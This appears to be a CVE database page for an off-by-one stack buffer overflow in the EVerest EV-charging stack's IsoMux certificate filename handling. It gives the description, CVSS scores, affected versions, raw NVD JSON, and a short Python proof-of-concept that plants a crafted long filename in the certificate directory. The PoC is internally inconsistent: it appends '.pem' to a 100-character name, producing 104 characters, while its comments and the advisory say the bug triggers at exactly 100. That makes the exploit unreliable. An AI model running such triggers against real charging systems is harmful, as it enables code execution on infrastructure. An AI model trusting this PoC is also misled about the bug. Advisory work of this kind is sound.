Security Vulnerability Report
中文
CVE-2026-22593 CVSS 8.4 HIGH

CVE-2026-22593

Published: 2026-03-26 15:16:32
Last Modified: 2026-03-31 13:51:22

Description

EVerest is an EV charging software stack. Prior to version 2026.02.0, an off-by-one check in IsoMux certificate filename handling causes a stack-based buffer overflow when a filename length equals `MAX_FILE_NAME_LENGTH` (100). A crafted filename in the certificate directory can overflow `file_names[idx]`, corrupting stack state and enabling potential code execution. Version 2026.02.0 contains a patch.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:* - VULNERABLE
EVerest < 2026.02.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-22593: EVerest IsoMux Stack Overflow # This script creates a file with a specific length to trigger the off-by-one error. import os # The max length defined in EVerest IsoMux is 100. # The vulnerability triggers when the filename length equals this value. MAX_LEN = 100 # Craft the payload (filename) # Using 'A' * 100 to fill the buffer exactly to the limit payload = "A" * MAX_LEN # Target directory (needs to be writable by attacker) # In a real scenario, this would be the certificate directory watched by IsoMux. cert_dir = "/path/to/everest/certificates/" filename = payload + ".pem" full_path = os.path.join(cert_dir, filename) try: # Create the malicious file with open(full_path, 'w') as f: f.write("MALICIOUS CONTENT") print(f"[+] Successfully created file: {filename}") print(f"[+] File length: {len(filename)} characters") print("[*] Wait for IsoMux to scan the directory to trigger the overflow.") except OSError as e: print(f"[-] Error creating file: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22593", "sourceIdentifier": "[email protected]", "published": "2026-03-26T15:16:31.800", "lastModified": "2026-03-31T13:51:21.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EVerest is an EV charging software stack. Prior to version 2026.02.0, an off-by-one check in IsoMux certificate filename handling causes a stack-based buffer overflow when a filename length equals `MAX_FILE_NAME_LENGTH` (100). A crafted filename in the certificate directory can overflow `file_names[idx]`, corrupting stack state and enabling potential code execution. Version 2026.02.0 contains a patch."}, {"lang": "es", "value": "EVerest es una pila de software de carga de VE. Antes de la versión 2026.02.0, una comprobación de off-by-one en el manejo de nombres de archivo de certificados IsoMux causa un desbordamiento de búfer basado en pila cuando la longitud de un nombre de archivo es igual a 'MAX_FILE_NAME_LENGTH' (100). Un nombre de archivo manipulado en el directorio de certificados puede desbordar 'file_names[idx]', corrompiendo el estado de la pila y permitiendo la posible ejecución de código. La versión 2026.02.0 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-193"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.02.0", "matchCriteriaId": "EB167E67-6808-4F7B-9505-FFF0C02B288C"}]}]}], "references": [{"url": "https://github.com/EVerest/EVerest/security/advisories/GHSA-cpqf-mcqc-783m", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}